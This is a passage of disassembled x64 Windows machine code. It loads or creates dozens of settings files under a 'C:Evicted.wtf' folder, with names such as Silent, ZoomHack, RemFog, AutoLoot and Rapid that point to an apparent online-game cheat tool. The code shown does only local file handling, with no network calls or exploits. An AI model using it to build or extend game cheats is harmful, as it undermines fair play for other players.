call fcn.14008ae00
lea rdx, str.C:Evicted.wtfRapid.txt
lea rcx, [rbp + 0x37e8]
call fcn.14008ae00
lea rdx, [0x14009ea30]
lea rcx, [rbp + 0x3a48]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfCodeEnter.txt
lea rcx, [rbp + 0x3a28]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfMiniOverlay.txt
lea rcx, [rbp + 0x3a08]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfinstaeoka.txt
lea rcx, [rbp + 0x39e8]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfAutoDetect.txt
lea rcx, [rbp + 0x39c8]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfCursor.txt
lea rcx, [rbp + 0x39a8]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfdelayRapid.txt
lea rcx, [rbp + 0x3988]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfRapidbind.txt
lea rcx, [rbp + 0x3968]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfSensDt.txt
lea rcx, [rbp + 0x3948]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfBgrade.txt
lea rcx, [rbp + 0x3928]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfKirka.txt
lea rcx, [rbp + 0x3908]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfRemFog.txt
lea rcx, [rbp + 0x38e8]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfTrash.txt
lea rcx, [rbp + 0x38c8]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfAutoLoot.txt
lea rcx, [rbp + 0x38a8]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfcrosshair.txt
lea rcx, [rbp + 0x3888]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfSilent.txt
lea rcx, [rbp + 0x3868]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfArmorDrop.txt
lea rcx, [rbp + 0x3848]
call fcn.14008ae00
mov edx, 0x110
lea rcx, [rbp + 0x3150]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x3648]
lea rcx, [rbp + 0x3150]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x3cc0]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x3628]
lea rcx, [rbp + 0x3cc0]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x3dd0]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x3608]
lea rcx, [rbp + 0x3dd0]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x3ee0]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x35c8]
lea rcx, [rbp + 0x3ee0]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x3ff0]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x35a8]
lea rcx, [rbp + 0x3ff0]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x4100]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x3588]
lea rcx, [rbp + 0x4100]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x4210]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x3568]
lea rcx, [rbp + 0x4210]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x4320]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x3548]
lea rcx, [rbp + 0x4320]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x4430]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x3528]
lea rcx, [rbp + 0x4430]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x4540]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x3508]
lea rcx, [rbp + 0x4540]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x4650]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x34e8]
lea rcx, [rbp + 0x4650]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x4760]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x34c8]
lea rcx, [rbp + 0x4760]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x4870]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x34a8]
lea rcx, [rbp + 0x4870]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x4980]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x35e8]
lea rcx, [rbp + 0x4980]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x4a90]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x3488]
lea rcx, [rbp + 0x4a90]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x4ba0]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x3468]
lea rcx, [rbp + 0x4ba0]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x4cb0]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x3448]
lea rcx, [rbp + 0x4cb0]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x4dc0]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x3428]
lea rcx, [rbp + 0x4dc0]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x4ed0]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x3408]
lea rcx, [rbp + 0x4ed0]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x4fe0]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x33e8]
lea rcx, [rbp + 0x4fe0]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x50f0]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x33c8]
lea rcx, [rbp + 0x50f0]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x5200]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x33a8]
lea rcx, [rbp + 0x5200]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x5310]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x3388]
lea rcx, [rbp + 0x5310]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x5420]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x3368]
lea rcx, [rbp + 0x5420]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x5530]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x3348]
lea rcx, [rbp + 0x5530]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x5640]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x3328]
lea rcx, [rbp + 0x5640]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x5750]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x3828]
lea rcx, [rbp + 0x5750]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x5860]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x3808]
lea rcx, [rbp + 0x5860]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x5970]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x37e8]
lea rcx, [rbp + 0x5970]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x5a80]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x3a48]
lea rcx, [rbp + 0x5a80]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x5b90]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x3a28]
lea rcx, [rbp + 0x5b90]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x5ca0]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x3a08]
lea rcx, [rbp + 0x5ca0]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x5db0]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x39e8]
lea rcx, [rbp + 0x5db0]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x5ec0]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x39c8]
lea rcx, [rbp + 0x5ec0]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x5fd0]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x39a8]
lea rcx, [rbp + 0x5fd0]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x60e0]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x3988]
lea rcx, [rbp + 0x60e0]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x61f0]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x3968]
lea rcx, [rbp + 0x61f0]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x6300]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x3948]
lea rcx, [rbp + 0x6300]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x6410]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x3928]
lea rcx, [rbp + 0x6410]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x6520]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x3908]
lea rcx, [rbp + 0x6520]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x6630]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x38e8]
lea rcx, [rbp + 0x6630]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x6740]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x38c8]
lea rcx, [rbp + 0x6740]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x6850]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x38a8]
lea rcx, [rbp + 0x6850]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x6960]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x3888]
lea rcx, [rbp + 0x6960]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x6a70]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x3868]
lea rcx, [rbp + 0x6a70]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
mov edx, 0x110
lea rcx, [rbp + 0x6b80]
call fcn.1400569b0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x3848]
lea rcx, [rbp + 0x6b80]
lea r8d, [r9 - 0x3f]
call fcn.140089d30
lea rcx, [rbp + 0x3150]
call fcn.140089d20
test al, al
jne 0x14007bf26
mov r9d, 0x40
lea rdx, str.C:Evicted.wtf_sensivity_1.txt
lea rcx, [0x1400b4cb0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x3cc0]
call fcn.140089d20
test al, al
jne 0x14007bf53
mov r9d, 0x40
lea rdx, str.C:Evicted.wtf_akbind.txt
lea rcx, [0x1400b2ef0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x3dd0]
call fcn.140089d20
test al, al
jne 0x14007bf80
mov r9d, 0x40
lea rdx, str.C:Evicted.wtflrbind.txt
lea rcx, [0x1400b1cd0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x3ee0]
call fcn.140089d20
test al, al
jne 0x14007bfad
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfmpbind.txt
lea rcx, [0x1400b3220]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x3ff0]
call fcn.140089d20
test al, al
jne 0x14007bfda
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfcsbind.txt
lea rcx, [0x1400af270]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x4100]
call fcn.140089d20
test al, al
jne 0x14007c007
mov r9d, 0x40
lea rdx, [0x14009e6c8]
lea rcx, [0x1400b4320]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x4210]
call fcn.140089d20
test al, al
jne 0x14007c034
mov r9d, 0x40
lea rdx, str.C:Evicted.wtf_smbind.txt
lea rcx, [0x1400b0b50]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x4320]
call fcn.140089d20
test al, al
jne 0x14007c061
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfm2bind.txt
lea rcx, [0x1400aff50]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x4430]
call fcn.140089d20
test al, al
jne 0x14007c08e
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfptbind.txt
lea rcx, [0x1400b3110]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x4540]
call fcn.140089d20
test al, al
jne 0x14007c0bb
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfxxbind.txt
lea rcx, [0x1400b0fc0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x4650]
call fcn.140089d20
test al, al
jne 0x14007c0e8
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfyybind.txt
lea rcx, [0x1400b2780]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x4760]
call fcn.140089d20
test al, al
jne 0x14007c115
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfhhbind.txt
lea rcx, [0x1400b3000]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x4870]
call fcn.140089d20
test al, al
jne 0x14007c142
mov r9d, 0x40
lea rdx, str.C:Evicted.wtf_ssbind.txt
lea rcx, [0x1400b4650]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x4980]
call fcn.140089d20
test al, al
jne 0x14007c16f
mov r9d, 0x40
lea rdx, str.C:Evicted.wtf_slbind.txt
lea rcx, [0x1400b2670]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x4a90]
call fcn.140089d20
test al, al
jne 0x14007c19c
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfxcontrol_1.txt
lea rcx, [0x1400b1bb0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x4ba0]
call fcn.140089d20
test al, al
jne 0x14007c1c9
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfycontrol_1.txt
lea rcx, [0x1400b1760]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x4cb0]
call fcn.140089d20
test al, al
jne 0x14007c1f6
mov r9d, 0x40
lea rdx, str.C:Evicted.wtf_adssensivity_1.txt
lea rcx, [0x1400b1410]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x4dc0]
call fcn.140089d20
test al, al
jne 0x14007c223
mov r9d, 0x40
lea rdx, [0x14009e870]
lea rcx, [0x1400b07f0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x4ed0]
call fcn.140089d20
test al, al
jne 0x14007c250
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfSpliter.txt
lea rcx, [0x1400b1530]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x4fe0]
call fcn.140089d20
test al, al
jne 0x14007c27d
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfBigSpliter.txt
lea rcx, [0x1400b0c70]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x50f0]
call fcn.140089d20
test al, al
jne 0x14007c2aa
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfCode.txt
lea rcx, [0x1400b3550]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x5200]
call fcn.140089d20
test al, al
jne 0x14007c2d7
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfZoom.txt
lea rcx, [0x1400b2ab0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x5310]
call fcn.140089d20
test al, al
jne 0x14007c304
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfBigClip.txt
lea rcx, [0x1400b2cd0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x5420]
call fcn.140089d20
test al, al
jne 0x14007c331
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfEnable.txt
lea rcx, [0x1400b0ea0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x5530]
call fcn.140089d20
test al, al
jne 0x14007c35e
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfAntiAfk.txt
lea rcx, [0x1400b1df0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x5640]
call fcn.140089d20
test al, al
jne 0x14007c38b
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfZoomHack.txt
lea rcx, [0x1400b5310]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x5750]
call fcn.140089d20
test al, al
jne 0x14007c3b8
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfSpamChat.txt
lea rcx, [0x1400b4100]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x5860]
call fcn.140089d20
test al, al
jne 0x14007c3e5
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfHipFire.txt
lea rcx, [0x1400b4540]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x5970]
call fcn.140089d20
test al, al
jne 0x14007c412
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfRapid.txt
lea rcx, [0x1400b0910]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x5a80]
call fcn.140089d20
test al, al
jne 0x14007c43f
mov r9d, 0x40
lea rdx, [0x14009ea30]
lea rcx, [0x1400af9f0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x5b90]
call fcn.140089d20
test al, al
jne 0x14007c46c
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfCodeEnter.txt
lea rcx, [0x1400b3330]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x5ca0]
call fcn.140089d20
test al, al
jne 0x14007c499
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfMiniOverlay.txt
lea rcx, [0x1400b4a90]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x5db0]
call fcn.140089d20
test al, al
jne 0x14007c4c6
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfinstaeoka.txt
lea rcx, [0x1400b2bc0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x5ec0]
call fcn.140089d20
test al, al
jne 0x14007c4f3
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfAutoDetect.txt
lea rcx, [0x1400b4dc0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x5fd0]
call fcn.140089d20
test al, al
jne 0x14007c520
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfCursor.txt
lea rcx, [0x1400b3dd0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x60e0]
call fcn.140089d20
test al, al
jne 0x14007c54d
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfdelayRapid.txt
lea rcx, [0x1400b4980]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x61f0]
call fcn.140089d20
test al, al
jne 0x14007c57a
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfRapidbind.txt
lea rcx, [0x1400af150]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x6300]
call fcn.140089d20
test al, al
jne 0x14007c5a7
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfSensDt.txt
lea rcx, [0x1400b3770]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x6410]
call fcn.140089d20
test al, al
jne 0x14007c5d4
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfBgrade.txt
lea rcx, [0x1400b4ba0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x6520]
call fcn.140089d20
test al, al
jne 0x14007c601
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfKirka.txt
lea rcx, [0x1400b0a30]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x6630]
call fcn.140089d20
test al, al
jne 0x14007c62e
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfRemFog.txt
lea rcx, [0x1400b5200]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x6740]
call fcn.140089d20
test al, al
jne 0x14007c65b
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfTrash.txt
lea rcx, [0x1400b3880]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x6850]
call fcn.140089d20
test al, al
jne 0x14007c688
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfAutoLoot.txt
lea rcx, [0x1400b4430]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x6960]
call fcn.140089d20
test al, al
jne 0x14007c6b5
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfcrosshair.txt
lea rcx, [0x1400b3ff0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x6a70]
call fcn.140089d20
test al, al
jne 0x14007c6e2
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfSilent.txt
lea rcx, [0x1400b3990]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x6b80]
call fcn.140089d20
test al, al
jne 0x14007c70f
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfArmorDrop.txt
lea rcx, [0x1400b3bb0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov rax, qword [rbp + 0x3150]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x3150]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::fail_void_const___ptr64]
test al, al
je 0x14007cc68
mov r9d, 0x40
lea rdx, str.C:Evicted.wtf_sensivity_1.txt
lea rcx, [0x1400b4cb0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtf_akbind.txt
lea rcx, [0x1400b2ef0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtflrbind.txt
lea rcx, [0x1400b1cd0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfmpbind.txt
lea rcx, [0x1400b3220]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfcsbind.txt
lea rcx, [0x1400af270]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, [0x14009e6c8]
lea rcx, [0x1400b4320]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtf_smbind.txt
lea rcx, [0x1400b0b50]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfm2bind.txt
lea rcx, [0x1400aff50]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfptbind.txt
lea rcx, [0x1400b3110]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfxxbind.txt
lea rcx, [0x1400b0fc0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfyybind.txt
lea rcx, [0x1400b2780]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfhhbind.txt
lea rcx, [0x1400b3000]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtf_ssbind.txt
lea rcx, [0x1400b4650]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtf_slbind.txt
lea rcx, [0x1400b2670]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfxcontrol_1.txt
lea rcx, [0x1400b1bb0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfycontrol_1.txt
lea rcx, [0x1400b1760]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, str.C:Evicted.wtf_adssensivity_1.txt
lea rcx, [0x1400b1410]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, [0x14009e870]
lea rcx, [0x1400b07f0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfSpliter.txt
lea rcx, [0x1400b1530]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfBigSpliter.txt
lea rcx, [0x1400b0c70]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfCode.txt
lea rcx, [0x1400b3550]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfZoom.txt
lea rcx, [0x1400b2ab0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfBigClip.txt
lea rcx, [0x1400b2cd0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
